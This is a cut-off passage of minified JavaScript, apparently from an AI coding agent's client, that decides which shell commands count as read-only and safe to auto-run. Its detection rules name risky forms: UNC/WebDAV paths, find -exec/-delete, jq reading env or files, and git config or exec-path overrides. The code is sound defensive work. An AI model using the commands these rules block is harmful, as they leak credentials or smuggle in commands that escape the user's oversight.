Ff1(A){if(o6()!=="windows")return!1;if(/\\\\[a-zA-Z0-9._\-:[\]%]+(?:@(?:\d+|ssl))?\\/i.test(A))return!0;if(/\/\/[a-zA-Z0-9._\-:[\]%]+(?:@(?:\d+|ssl))?\//i.test(A))return!0;if(/@SSL@\d+/i.test(A)||/@\d+@SSL/i.test(A))return!0;if(/DavWWWRoot/i.test(A))return!0;if(/^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(A)||/^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(A))return!0;if(/^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(A)||/^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(A))return!0;return!1}function ek2(A){let K=!1,q=!1,Y=!1;for(let z=0;z<A.length;z++){let w=A[z];if(Y){Y=!1;continue}if(w==="\\"){Y=!0;continue}if(w==="'"&&!q){K=!K;continue}if(w==='"'&&!K){q=!q;continue}if(K||q)continue;if(w&&/[?*[\]]/.test(w))return!0}return!1}function AC2(A){let K=A.trim();if(K.endsWith(" 2>&1"))K=K.slice(0,-5).trim();if(Ff1(K))return!1;if(ek2(K))return!1;if(ok2(K))return!0;for(let q of tk2)if(q.test(K)){if(K.includes("git")&&/\s-c[\s=]/.test(K))return!1;if(K.includes("git")&&/\s--exec-path[\s=]/.test(K))return!1;if(K.includes("git")&&/\s--config-env[\s=]/.test(K))return!1;return!0}return!1}function KC2(A){return/^git(?:\s|$)/.test(A)}function qC2(A){return R$(A).some((K)=>KC2(K.trim()))}function YC2(){let A=BA(),K=x1(),q=tUA(K,".git");try{if(A.existsSync(q)){let H=A.statSync(q);if(H.isFile())return!1;if(H.isDirectory()){let J=tUA(q,"HEAD");if(A.existsSync(J))return!1}}}catch{}let Y=tUA(K,"HEAD"),z=tUA(K,"objects"),w=tUA(K,"refs");try{let H=A.existsSync(Y),J=A.existsSync(z)&&A.statSync(z).isDirectory(),O=A.existsSync(w)&&A.statSync(w).isDirectory();return H||J||O}catch{return!1}}function Qf1(A,K){let{command:q}=A;if(!Bz(q,(H)=>`$${H}`).success)return{behavior:"passthrough",message:"Command cannot be parsed, requires further permission checks"};if(wm(q).behavior!=="passthrough")return{behavior:"passthrough",message:"Command is not read-only, requires further permission checks"};if(Ff1(q))return{behavior:"ask",message:"Command contains Windows UNC path that could be vulnerable to WebDAV attacks"};let z=qC2(q);if(K&&z)return{behavior:"passthrough",message:"Compound commands with cd and git require permission checks for enhanced security"};if(z&&YC2())return{behavior:"passthrough",message:"Git commands in directories with bare repository structure require permission checks for enhanced security"};if(R$(q).every((H)=>{if(wm(H).behavior!=="passthrough")return!1;return AC2(H)}))return{behavior:"allow",updatedInput:A};return{behavior:"passthrough",message:"Command is not read-only, requires further permission checks"}}var VHK,eUA,uf1,Bf1,mf1,gf1,ApA,Ex6,kx6,ik2,rk2,sk2,tk2;var Uf1=k(()=>{_P();gO();nP1();$S6();B5();y4();e6();VHK=/^-[a-zA-Z0-9_-]/,eUA={"--all":"none","--branches":"none","--tags":"none","--remotes":"none"},uf1={"--since":"string","--after":"string","--until":"string","--before":"string"},Bf1={"--oneline":"none","--graph":"none","--decorate":"none","--no-decorate":"none","--date":"string","--relative-date":"none"},mf1={"--max-count":"number","-n":"number"},gf1={"--stat":"none","--numstat":"none","--shortstat":"none","--name-only":"none","--name-status":"none"},ApA={"--color":"none","--no-color":"none"},Ex6={"--patch":"none","-p":"none","--no-patch":"none","--no-ext-diff":"none","-s":"none"},kx6={"--author":"string","--committer":"string","--grep":"string"},ik2={xargs:{safeFlags:{"-I":"{}","-i":"none","-n":"number","-P":"number","-L":"number","-s":"number","-E":"EOF","-e":"EOF","-0":"none","-t":"none","-r":"none","-x":"none","-d":"char"}},"git diff":{safeFlags:{...gf1,...ApA,"--dirstat":"none","--summary":"none","--patch-with-stat":"none","--word-diff":"none","--word-diff-regex":"string","--color-words":"none","--no-renames":"none","--no-ext-diff":"none","--check":"none","--ws-error-highlight":"string","--full-index":"none","--binary":"none","--abbrev":"number","--break-rewrites":"none","--find-renames":"none","--find-copies":"none","--find-copies-harder":"none","--irreversible-delete":"none","--diff-algorithm":"string","--histogram":"none","--patience":"none","--minimal":"none","--ignore-space-at-eol":"none","--ignore-space-change":"none","--ignore-all-space":"none","--ignore-blank-lines":"none","--inter-hunk-context":"number","--function-context":"none","--exit-code":"none","--quiet":"none","--cached":"none","--staged":"none","--pickaxe-regex":"none","--pickaxe-all":"none","--no-index":"none","--relative":"string","--diff-filter":"string","-p":"none","-u":"none","-s":"none","-M":"none","-C":"none","-B":"none","-D":"none","-l":"none","-S":"none","-G":"none","-O":"none","-R":"none"}},"git log":{safeFlags:{...Bf1,...eUA,...uf1,...mf1,...gf1,...ApA,...Ex6,...kx6,"--abbrev-commit":"none","--full-history":"none","--dense":"none","--sparse":"none","--simplify-merges":"none","--ancestry-path":"none","--source":"none","--first-parent":"none","--merges":"none","--no-merges":"none","--reverse":"none","--walk-reflogs":"none","--skip":"number","--max-age":"number","--min-age":"number","--no-min-parents":"none","--no-max-parents":"none","--follow":"none","--pretty":"string","--format":"string","--diff-filter":"string","-S":"string","-G":"string","--pickaxe-regex":"none","--pickaxe-all":"none"}},"git show":{safeFlags:{...Bf1,...gf1,...ApA,...Ex6,"--abbrev-commit":"none","--word-diff":"none","--word-diff-regex":"string","--color-words":"none","--pretty":"string","--first-parent":"none","--diff-filter":"string","-m":"none","--quiet":"none"}},"git shortlog":{safeFlags:{...eUA,...uf1,"-s":"none","--summary":"none","-n":"none","--numbered":"none","-e":"none","--email":"none","-c":"none","--committer":"none","--group":"string","--format":"string","--no-merges":"none","--author":"string"}},"git reflog":{safeFlags:{...Bf1,...eUA,...uf1,...mf1,...kx6}},"git stash list":{safeFlags:{...Bf1,...eUA,...mf1}},"git ls-remote":{safeFlags:{"--branches":"none","-b":"none","--tags":"none","-t":"none","--heads":"none","-h":"none","--refs":"none","--quiet":"none","-q":"none","--exit-code":"none","--get-url":"none","--symref":"none","--sort":"string","--server-option":"string","-o":"string"}},"git status":{safeFlags:{"--short":"none","-s":"none","--branch":"none","-b":"none","--porcelain":"none","--long":"none","--verbose":"none","-v":"none","--untracked-files":"string","-u":"string","--ignored":"none","--ignore-submodules":"string","--column":"none","--no-column":"none","--ahead-behind":"none","--no-ahead-behind":"none","--renames":"none","--no-renames":"none","--find-renames":"string","-M":"string"}},"git blame":{safeFlags:{...ApA,"-L":"string","--porcelain":"none","-p":"none","--line-porcelain":"none","--incremental":"none","--root":"none","--show-stats":"none","--show-name":"none","--show-number":"none","-n":"none","--show-email":"none","-e":"none","-f":"none","--date":"string","-w":"none","--ignore-rev":"string","--ignore-revs-file":"string","-M":"none","-C":"none","--score-debug":"none","--abbrev":"number","-s":"none","-l":"none","-t":"none"}},"git ls-files":{safeFlags:{"--cached":"none","-c":"none","--deleted":"none","-d":"none","--modified":"none","-m":"none","--others":"none","-o":"none","--ignored":"none","-i":"none","--stage":"none","-s":"none","--killed":"none","-k":"none","--unmerged":"none","-u":"none","--directory":"none","--no-empty-directory":"none","--eol":"none","--full-name":"none","--abbrev":"number","--debug":"none","-z":"none","-t":"none","-v":"none","-f":"none","--exclude":"string","-x":"string","--exclude-from":"string","-X":"string","--exclude-per-directory":"string","--exclude-standard":"none","--error-unmatch":"none","--recurse-submodules":"none"}},"git config --get":{safeFlags:{"--local":"none","--global":"none","--system":"none","--worktree":"none","--default":"string","--type":"string","--bool":"none","--int":"none","--bool-or-int":"none","--path":"none","--expiry-date":"none","-z":"none","--null":"none","--name-only":"none","--show-origin":"none","--show-scope":"none"}},"git remote show":{safeFlags:{"-n":"none"},regex:/^git remote show(?:\s+-n)?\s+[a-zA-Z0-9_-]+$/},"git remote":{safeFlags:{"-v":"none","--verbose":"none"},regex:/^git remote(?:\s+(?:-v|--verbose))?$/},"git merge-base":{safeFlags:{"--is-ancestor":"none","--fork-point":"none","--octopus":"none","--independent":"none","--all":"none"}},"git rev-parse":{safeFlags:{"--verify":"none","--short":"string","--abbrev-ref":"none","--symbolic":"none","--symbolic-full-name":"none","--show-toplevel":"none","--show-cdup":"none","--show-prefix":"none","--git-dir":"none","--git-common-dir":"none","--absolute-git-dir":"none","--show-superproject-working-tree":"none","--is-inside-work-tree":"none","--is-inside-git-dir":"none","--is-bare-repository":"none","--is-shallow-repository":"none","--is-shallow-update":"none","--path-prefix":"none"}},"git rev-list":{safeFlags:{...eUA,...uf1,...mf1,...kx6,"--count":"none","--reverse":"none","--first-parent":"none","--ancestry-path":"none","--merges":"none","--no-merges":"none","--min-parents":"number","--max-parents":"number","--no-min-parents":"none","--no-max-parents":"none","--skip":"number","--max-age":"number","--min-age":"number","--walk-reflogs":"none","--oneline":"none","--abbrev-commit":"none","--pretty":"string","--format":"string","--abbrev":"number","--full-history":"none","--dense":"none","--sparse":"none","--source":"none","--graph":"none"}},"git describe":{safeFlags:{"--tags":"none","--match":"string","--exclude":"string","--long":"none","--abbrev":"number","--always":"none","--contains":"none","--first-match":"none","--exact-match":"none","--candidates":"number","--dirty":"none","--broken":"none"}},"git cat-file":{safeFlags:{"-t":"none","-s":"none","-p":"none","-e":"none","--batch-check":"none","--allow-undetermined-type":"none"}},"git for-each-ref":{safeFlags:{"--format":"string","--sort":"string","--count":"number","--contains":"string","--no-contains":"string","--merged":"string","--no-merged":"string","--points-at":"string"}},"git grep":{safeFlags:{"-e":"string","-E":"none","--extended-regexp":"none","-G":"none","--basic-regexp":"none","-F":"none","--fixed-strings":"none","-P":"none","--perl-regexp":"none","-i":"none","--ignore-case":"none","-v":"none","--invert-match":"none","-w":"none","--word-regexp":"none","-n":"none","--line-number":"none","-c":"none","--count":"none","-l":"none","--files-with-matches":"none","-L":"none","--files-without-match":"none","-h":"none","-H":"none","--heading":"none","--break":"none","--full-name":"none","--color":"none","--no-color":"none","-o":"none","--only-matching":"none","-A":"number","--after-context":"number","-B":"number","--before-context":"number","-C":"number","--context":"number","--and":"none","--or":"none","--not":"none","--max-depth":"number","--untracked":"none","--no-index":"none","--recurse-submodules":"none","--cached":"none","--threads":"number","-q":"none","--quiet":"none"}},"git stash show":{safeFlags:{...gf1,...ApA,...Ex6,"--word-diff":"none","--word-diff-regex":"string","--diff-filter":"string","--abbrev":"number"}},"git worktree list":{safeFlags:{"--porcelain":"none","-v":"none","--verbose":"none","--expire":"string"}},"git tag":{safeFlags:{"-l":"none","--list":"none","-n":"number","--contains":"string","--no-contains":"string","--merged":"string","--no-merged":"string","--sort":"string","--format":"string","--points-at":"string","--column":"none","--no-column":"none","-i":"none","--ignore-case":"none"}},"git branch":{safeFlags:{"-l":"none","--list":"none","-a":"none","--all":"none","-r":"none","--remotes":"none","-v":"none","-vv":"none","--verbose":"none","--color":"none","--no-color":"none","--column":"none","--no-column":"none","--abbrev":"number","--no-abbrev":"none","--contains":"string","--no-contains":"string","--merged":"none","--no-merged":"none","--points-at":"string","--sort":"string","--show-current":"none","-i":"none","--ignore-case":"none"},additionalCommandIsDangerousCallback:(A)=>{let K=A.split(/\s+/),q=new Set(["--contains","--no-contains","--points-at","--sort","--abbrev"]),Y=new Set(["--merged","--no-merged"]),z=2,w="";while(z<K.length){let H=K[z];if(!H){z++;continue}if(H.startsWith("-"))if(H.includes("="))w=H.split("=")[0]||"",z++;else if(q.has(H))w=H,z+=2;else w=H,z++;else{let J=K.slice(2,z),O=J.includes("-l")||J.includes("--list"),X=Y.has(w);if(!O&&!X)return!0;z++}}return!1}},file:{safeFlags:{"--brief":"none","-b":"none","--mime":"none","-i":"none","--mime-type":"none","--mime-encoding":"none","--apple":"none","--check-encoding":"none","-c":"none","--exclude":"string","--exclude-quiet":"string","--print0":"none","-0":"none","-f":"string","-F":"string","--separator":"string","--help":"none","--version":"none","-v":"none","--no-dereference":"none","-h":"none","--dereference":"none","-L":"none","--magic-file":"string","-m":"string","--keep-going":"none","-k":"none","--list":"none","-l":"none","--no-buffer":"none","-n":"none","--preserve-date":"none","-p":"none","--raw":"none","-r":"none","-s":"none","--special-files":"none","--uncompress":"none","-z":"none"}},sed:{safeFlags:{"--expression":"string","-e":"string","--quiet":"none","--silent":"none","-n":"none","--regexp-extended":"none","-r":"none","--posix":"none","-E":"none","--line-length":"number","-l":"number","--zero-terminated":"none","-z":"none","--separate":"none","-s":"none","--unbuffered":"none","-u":"none","--debug":"none","--help":"none","--version":"none"},additionalCommandIsDangerousCallback:(A)=>!XS6(A)},"pip list":{safeFlags:{"--outdated":"none","-o":"none","--uptodate":"none","-u":"none","--editable":"none","-e":"none","--local":"none","-l":"none","--user":"none","--pre":"none","--format":"string","--not-required":"none","--exclude-editable":"none","--include-editable":"none","--exclude":"string","--help":"none","-h":"none","--version":"none","-V":"none","--verbose":"none","-v":"none","--quiet":"none","-q":"none","--no-color":"none","--no-input":"none","--disable-pip-version-check":"none","--no-python-version-warning":"none"}},sort:{safeFlags:{"--ignore-leading-blanks":"none","-b":"none","--dictionary-order":"none","-d":"none","--ignore-case":"none","-f":"none","--general-numeric-sort":"none","-g":"none","--human-numeric-sort":"none","-h":"none","--ignore-nonprinting":"none","-i":"none","--month-sort":"none","-M":"none","--numeric-sort":"none","-n":"none","--random-sort":"none","-R":"none","--reverse":"none","-r":"none","--sort":"string","--stable":"none","-s":"none","--unique":"none","-u":"none","--version-sort":"none","-V":"none","--zero-terminated":"none","-z":"none","--key":"string","-k":"string","--field-separator":"string","-t":"string","--check":"none","-c":"none","--check-char-order":"none","-C":"none","--merge":"none","-m":"none","--buffer-size":"string","-S":"string","--parallel":"number","--batch-size":"number","--help":"none","--version":"none"}},man:{safeFlags:{"-a":"none","--all":"none","-d":"none","-f":"none","--whatis":"none","-h":"none","-k":"none","--apropos":"none","-l":"string","-w":"none","-S":"string","-s":"string"}},help:{safeFlags:{"-d":"none","-m":"none","-s":"none"}},"npm list":{safeFlags:{"--all":"none","-a":"none","--json":"none","--long":"none","-l":"none","--global":"none","-g":"none","--depth":"number","--omit":"string","--include":"string","--link":"none","--workspace":"string","-w":"string","--workspaces":"none","-ws":"none"}},"mcp-cli servers":{safeFlags:{"--json":"none"}},"mcp-cli tools":{safeFlags:{"--json":"none"}},"mcp-cli info":{safeFlags:{"--json":"none"}},"mcp-cli grep":{safeFlags:{"--json":"none","-i":"none","--ignore-case":"none"}},"mcp-cli resources":{safeFlags:{"--json":"none"}},"mcp-cli read":{safeFlags:{"--json":"none"}},netstat:{safeFlags:{"-a":"none","-L":"none","-l":"none","-n":"none","-f":"string","-g":"none","-i":"none","-I":"string","-s":"none","-r":"none","-m":"none","-v":"none"}},ps:{safeFlags:{"-e":"none","-A":"none","-a":"none","-d":"none","-N":"none","--deselect":"none","-f":"none","-F":"none","-l":"none","-j":"none","-y":"none","-w":"none","-ww":"none","--width":"number","-c":"none","-H":"none","--forest":"none","--headers":"none","--no-headers":"none","-n":"string","--sort":"string","-L":"none","-T":"none","-m":"none","-C":"string","-G":"string","-g":"string","-p":"string","--pid":"string","-q":"string","--quick-pid":"string","-s":"string","--sid":"string","-t":"string","--tty":"string","-U":"string","-u":"string","--user":"string","--help":"none","--info":"none","-V":"none","--version":"none"},additionalCommandIsDangerousCallback:(A)=>{return/\s[a-zA-Z]*e[a-zA-Z]*(?:\s|$)/.test(A)}},base64:{safeFlags:{"-d":"none","-D":"none","--decode":"none","-b":"number","--break":"number","-w":"number","--wrap":"number","-i":"string","--input":"string","--ignore-garbage":"none","-h":"none","--help":"none","--version":"none"}},grep:{safeFlags:{"-e":"string","--regexp":"string","-f":"string","--file":"string","-F":"none","--fixed-strings":"none","-G":"none","--basic-regexp":"none","-E":"none","--extended-regexp":"none","-P":"none","--perl-regexp":"none","-i":"none","--ignore-case":"none","--no-ignore-case":"none","-v":"none","--invert-match":"none","-w":"none","--word-regexp":"none","-x":"none","--line-regexp":"none","-c":"none","--count":"none","--color":"string","--colour":"string","-L":"none","--files-without-match":"none","-l":"none","--files-with-matches":"none","-m":"number","--max-count":"number","-o":"none","--only-matching":"none","-q":"none","--quiet":"none","--silent":"none","-s":"none","--no-messages":"none","-b":"none","--byte-offset":"none","-H":"none","--with-filename":"none","-h":"none","--no-filename":"none","--label":"string","-n":"none","--line-number":"none","-T":"none","--initial-tab":"none","-u":"none","--unix-byte-offsets":"none","-Z":"none","--null":"none","-z":"none","--null-data":"none","-A":"number","--after-context":"number","-B":"number","--before-context":"number","-C":"number","--context":"number","--group-separator":"string","--no-group-separator":"none","-a":"none","--text":"none","--binary-files":"string","-D":"string","--devices":"string","-d":"string","--directories":"string","--exclude":"string","--exclude-from":"string","--exclude-dir":"string","--include":"string","-r":"none","--recursive":"none","-R":"none","--dereference-recursive":"none","--line-buffered":"none","-U":"none","--binary":"none","--help":"none","-V":"none","--version":"none"}},rg:{safeFlags:{"-e":"string","--regexp":"string","-f":"string","-i":"none","--ignore-case":"none","-S":"none","--smart-case":"none","-F":"none","--fixed-strings":"none","-w":"none","--word-regexp":"none","-v":"none","--invert-match":"none","-c":"none","--count":"none","-l":"none","--files-with-matches":"none","--files-without-match":"none","-n":"none","--line-number":"none","-o":"none","--only-matching":"none","-A":"number","--after-context":"number","-B":"number","--before-context":"number","-C":"number","--context":"number","-H":"none","-h":"none","--heading":"none","--no-heading":"none","-q":"none","--quiet":"none","--column":"none","-g":"string","--glob":"string","-t":"string","--type":"string","-T":"string","--type-not":"string","--type-list":"none","--hidden":"none","--no-ignore":"none","-u":"none","-m":"number","--max-count":"number","-d":"number","--max-depth":"number","-a":"none","--text":"none","-z":"none","-L":"none","--follow":"none","--color":"string","--json":"none","--stats":"none","--help":"none","--version":"none","--debug":"none","--":"none"}},sha256sum:{safeFlags:{"-b":"none","--binary":"none","-t":"none","--text":"none","-c":"none","--check":"none","--ignore-missing":"none","--quiet":"none","--status":"none","--strict":"none","-w":"none","--warn":"none","--tag":"none","-z":"none","--zero":"none","--help":"none","--version":"none"}},sha1sum:{safeFlags:{"-b":"none","--binary":"none","-t":"none","--text":"none","-c":"none","--check":"none","--ignore-missing":"none","--quiet":"none","--status":"none","--strict":"none","-w":"none","--warn":"none","--tag":"none","-z":"none","--zero":"none","--help":"none","--version":"none"}},md5sum:{safeFlags:{"-b":"none","--binary":"none","-t":"none","--text":"none","-c":"none","--check":"none","--ignore-missing":"none","--quiet":"none","--status":"none","--strict":"none","-w":"none","--warn":"none","--tag":"none","-z":"none","--zero":"none","--help":"none","--version":"none"}},date:{safeFlags:{"-d":"string","--date":"string","-r":"string","--reference":"string","-u":"none","--utc":"none","--universal":"none","-I":"none","--iso-8601":"string","-R":"none","--rfc-email":"none","--rfc-3339":"string","--debug":"none","--help":"none","--version":"none"},additionalCommandIsDangerousCallback:(A)=>{let K=Bz(A,(w)=>`$${w}`);if(!K.success)return!0;let q=K.tokens.map((w)=>{if(typeof w==="string")return w;if("pattern"in w)return w.pattern;return}).filter((w)=>w!==void 0),Y=new Set(["-d","--date","-r","--reference","--iso-8601","--rfc-3339"]),z=1;while(z<q.length){let w=q[z];if(w.startsWith("--")&&w.includes("="))z++;else if(w.startsWith("-"))if(Y.has(w))z+=2;else z++;else{if(!w.startsWith("+"))return!0;z++}}return!1}},hostname:{safeFlags:{"-f":"none","--fqdn":"none","--long":"none","-s":"none","--short":"none","-i":"none","--ip-address":"none","-I":"none","--all-ip-addresses":"none","-a":"none","--alias":"none","-d":"none","--domain":"none","-A":"none","--all-fqdns":"none","-v":"none","--verbose":"none","-h":"none","--help":"none","-V":"none","--version":"none"},regex:/^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/},info:{safeFlags:{"-f":"string","--file":"string","-d":"string","--directory":"string","-n":"string","--node":"string","-a":"none","--all":"none","-k":"string","--apropos":"string","-w":"none","--where":"none","--location":"none","--show-options":"none","--vi-keys":"none","--subnodes":"none","-h":"none","--help":"none","--usage":"none","--version":"none"}}};rk2=["echo","printf","wc","grep","head","tail"];sk2=["cal","uptime","cat","head","tail","wc","stat","strings","hexdump","od","nl","id","uname","free","df","du","locale","groups","nproc","docker ps","docker images","basename","dirname","realpath","cut","paste","tr","column","diff","true","false","sleep","which","type"],tk2=new Set([...sk2.map(ak2),/^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,/^claude -h$/,/^claude --help$/,/^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/,/^pwd$/,/^whoami$/,/^node -v$/,/^npm -v$/,/^python --version$/,/^python3 --version$/,/^tree$/,/^history(?:\s+\d+)?\s*$/,/^alias$/,/^arch(?:\s+(?:--help|-h))?\s*$/,/^ip addr$/,/^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/,/^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,/^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,/^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,/^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/])});function NHK(A){if(!A)return!1;if(A.type==="assistant"){let K=KD(A.message.content);return K?.type==="text"||K?.type==="thinking"||K?.type==="redacted_thinking"}if(A.type==="user"){let K=A.message.content;if(!Array.isArray(K)||K.length===0)return!1;return K.every((q)=>("type"in q)&&q.type==="tool_result")}return!1}function*THK(A){switch(A.type){case"assistant":for(let K of n2([A]))yield{type:"assistant",message:K.message,parent_tool_use_id:null,session_id:d1(),uuid:K.uuid,error:K.error};return;case"progress":if(A.data.type==="agent_progress")for(let K of n2([A.data.message]))switch(K.type){case"assistant":yield{type:"assistant",message:K.message,parent_tool_use_id:A.parentToolUseID,session_id:d1(),uuid:K.uuid,error:K.error};break;case"user":yield{type:"user",message:K.message,parent_tool_use_id:A.parentToolUseID,session_id:d1(),uuid:K.uuid,isSynthetic:K.isMeta||K.isVisibleInTranscriptOnly,tool_use_result:K.mcpMeta?{content:K.toolUseResult,...K.mcpMeta}:K.toolUseResult};break}else if(A.data.type==="bash_progress"){if(!P1(process.env.CLAUDE_CODE_REMOTE)&&!process.env.CLAUDE_CODE_CONTAINER_ID)break;let K=A.parentToolUseID,q=Date.now(),Y=KpA.get(K)||0;if(q-Y>=HC2){if(KpA.size>=wC2){let w=KpA.keys().next().value;if(w!==void 0)KpA.delete(w)}KpA.set(K,q),yield{type:"tool_progress",tool_use_id:A.toolUseID,tool_name:"Bash",parent_tool_use_id:A.parentToolUseID,elapsed_time_seconds:A.data.elapsedTimeSeconds,session_id:d1(),uuid:A.uuid}}}break;case"user":for(let K of n2([A]))yield{type:"user",message:K.message,parent_tool_use_id:null,session_id:d1(),uuid:K.uuid,isSynthetic:K.isMeta||K.isVisibleInTranscriptOnly,tool_use_result:K.mcpMeta?{content:K.toolUseResult,...K.mcpMeta}:K.toolUseResult};return;default:}}async function*vHK(A,K,q,Y){let z=!Pl(),{permissionResult:w,assistantMessage:H}=A,{toolUseID:J}=w;if(!J)return;let O=H.message.content,X;if(Array.isArray(O)){for(let j of O)if(j.type==="tool_use"&&j.id===J){X=j;break}}if(!X)return;let{name:$,input:_}=X;if(!K.find((j)=>j.name===$))return;let Z={...X,input:w.behavior==="allow"?w.updatedInput:_},W=async()=>({...w,decisionReason:{type:"mode",mode:"default"}});if(q.push(H),z)await Mm(q);yield{...H,session_id:d1(),parent_tool_use_id:null};for await(let j of bf1([Z],[H],W,Y))if(j.message){if(q.push(j.message),z)await Mm(q);yield{...j.message,session_id:d1(),parent_tool_use_id:null}}}function H9A(A,K,q=zC2){let Y=zU(q),z=new Map,w=new Map;for(let H of A)if(H.type==="assistant"&&Array.isArray(H.message.content)){for(let J of H.message.content)if(J.type==="tool_use"&&J.name===eq){let O=J.input;if(O?.file_path&&O?.offset===void 0&&O?.limit===void 0){let X=x7(O.file_path,K);z.set(J.id,X)}}else if(J.type==="tool_use"&&J.name===Qz){let O=J.input;if(O?.file_path&&O?.content){let X=x7(O.file_path,K);w.set(J.id,{filePath:X,content:O.content})}}}for(let H of A)if(H.type==="user"&&Array.isArray(H.message.content)){for(let J of H.message.content)if(J.type==="tool_result"&&J.tool_use_id){let O=z.get(J.tool_use_id);if(O&&typeof J.content==="string"){let G=J.content.replace(/<system-reminder>[\s\S]*?<\/system-reminder>/g,"").split(` `).map((Z)=>{let W=Z.match(/^\s*\d+\u2192(.*)$/);return W?W[1]:Z}).join(` `).trim();if(H.timestamp){let Z=new Date(H.timestamp).getTime();Y.set(O,{content:G,timestamp:Z,offset:void 0,limit:void 0})}}let X=w.get(J.tool_use_id);if(X&&H.timestamp){let $=new Date(H.timestamp).getTime();Y.set(X.filePath,{content:X.content,timestamp:$,offset:void 0,limit:void 0})}}}return Y}var zC2=10,wC2=100,HC2=30000,KpA;var pf1=k(()=>{F1A();hD();cO();jV();Oz();l6();UK();$8();q6();fx6();KpA=new Map});import{randomUUID as JC2}from"crypto";import{copyFileSync as EHK,mkdirSync as Cx6}from"fs";import{dirname as kHK,isAbsolute as OC2,join as J9A,relative as XC2}from"path";import{rm as $C2}from"fs";function qpA(A){$C2(A,{recursive:!0,force:!0,maxRetries:3,retryDelay:100},()=>{})}function cf1(A){return J9A(ux6(),"speculation",String(process.pid),A)}function df1(A,K){return{behavior:"deny",message:A,decisionReason:{type:"other",reason:K}}}function ZC2(A,K,q){let Y=!0;for(let z of K){let w=J9A(A,z),H=J9A(q,z);try{Cx6(kHK(H),{recursive:!0}),EHK(w,H)}catch{Y=!1,h(`[Speculation] Failed to copy ${z} to main`)}}return Y}function lf1(A,K,q,Y,z,w,H){n("tengu_speculation",{speculation_id:A,outcome:K,duration_ms:Date.now()-q,suggestion_length:Y,tools_executed:Rx6(z),completed:w!==null,boundary_type:w?.type,boundary_tool:WC2(w),boundary_detail:DC2(w),...H})}function Rx6(A){return A.filter(yx6).flatMap((K)=>K.message.content).filter((K)=>typeof K==="object"&&K!==null&&("type"in K)).filter((K)=>K.type==="tool_result"&&!K.is_error).length}function WC2(A){if(!A)return;switch(A.type){case"bash":return"Bash";case"edit":case"denied_tool":return A.toolName;case"complete":return}}function DC2(A){if(!A)return;switch(A.type){case"bash":return A.command.slice(0,200);case"edit":return A.filePath;case"denied_tool":return A.detail;case"complete":return}}function yx6(A){return A.type==="user"&&"message"in A&&Array.isArray(A.message.content)}function jC2(A){let K=(w)=>typeof w==="object"&&w!==null&&w.type==="tool_result"&&typeof w.tool_use_id==="string",q=(w)=>!w.is_error&&!(typeof w.content==="string"&&w.content.includes(bf)),Y=new Set(A.filter(yx6).flatMap((w)=>w.message.content).filter(K).filter(q).map((w)=>w.tool_use_id)),z=(w)=>w.type!=="thinking"&&w.type!=="redacted_thinking"&&!(w.type==="tool_use"&&!Y.has(w.id))&&!(w.type==="tool_result"&&!Y.has(w.tool_use_id));return A.map((w)=>{if(!("message"in w)||!Array.isArray(w.message.content))return w;let H=w.message.content.filter(z);if(H.length===w.message.content.length)return w;if(H.length===0)return null;return{...w,message:{...w.message,content:H}}}).filter((w)=>w!==null)}function MC2(A,K,q,Y){return null}function YPA(A,K){A((q)=>{if(q.speculation.status!=="active")return q;let Y=q.speculation,z=K(Y);if(!Object.entries(z).some(([H,J])=>Y[H]!==J))return q;return{...q,speculation:{...Y,...z}}})}function Lx6(A){A((K)=>{if(K.speculation.status==="idle")return K;return{...K,speculation:X9A}})}function Ix6(){return h("[Speculation] enabled=false"),!1}async function PC2(A,K,q,Y,z){try{let w=await A.toolUseContext.getAppState(),H=hx6(w);if(H){rS(`pipeline_${H}`);return}let J={...A,messages:[...A.messages,t1({content:K}),...q]},O=L1A(z);if(O.signal.aborted)return;let X=if1(),{suggestion:$,generationRequestId:_}=await bx6(J,O,X);if(O.signal.aborted)return;if(xx6($,X))return;h(`[Speculation] Pipelined suggestion: "${$.slice(0,50)}..."`),YPA(Y,()=>({pipelinedSuggestion:{text:$,promptId:X,generationRequestId:_}}))}catch(w){if(w instanceof Error&&w.name==="AbortError")return;h(`[Speculation] Pipelined suggestion failed: ${w instanceof Error?w.message:String(w)}`)}}async function Sx6(A,K,q,Y=!1){if(!Ix6())return;O9A(q);let z=JC2().slice(0,8),w=L1A(K.toolUseContext.abortController);if(w.signal.aborted)return;let H=Date.now(),J={current:[]},O={current:new Set},X=cf1(z),$=bg();try{Cx6(X,{recursive:!0})}catch{h("[Speculation] Failed to create overlay directory");return}let _={current:K};q((G)=>({...G,speculation:{status:"active",id:z,abort:()=>w.abort(),startTime:H,messagesRef:J,writtenPathsRef:O,boundary:null,suggestionLength:A.length,toolUseCount:0,isPipelined:Y,contextRef:_}})),h(`[Speculation] Starting speculation ${z}`);try{let G=await bS({promptMessages:[t1({content:A})],cacheSafeParams:u3A(K),canUseTool:async(Z,W)=>{let D=["Edit","Write","NotebookEdit"].includes(Z.name),j=["Read","Glob","Grep","ToolSearch","LSP","TaskGet","TaskList"].includes(Z.name);if(D){let P=await K.toolUseContext.getAppState(),{mode:f,isBypassPermissionsModeAvailable:N}=P.toolPermissionContext;if(!(f==="acceptEdits"||f==="bypassPermissions"||f==="plan"&&N)){h(`[Speculation] Stopping at file edit: ${Z.name}`);let C="file_path"in W?W.file_path:void 0;return 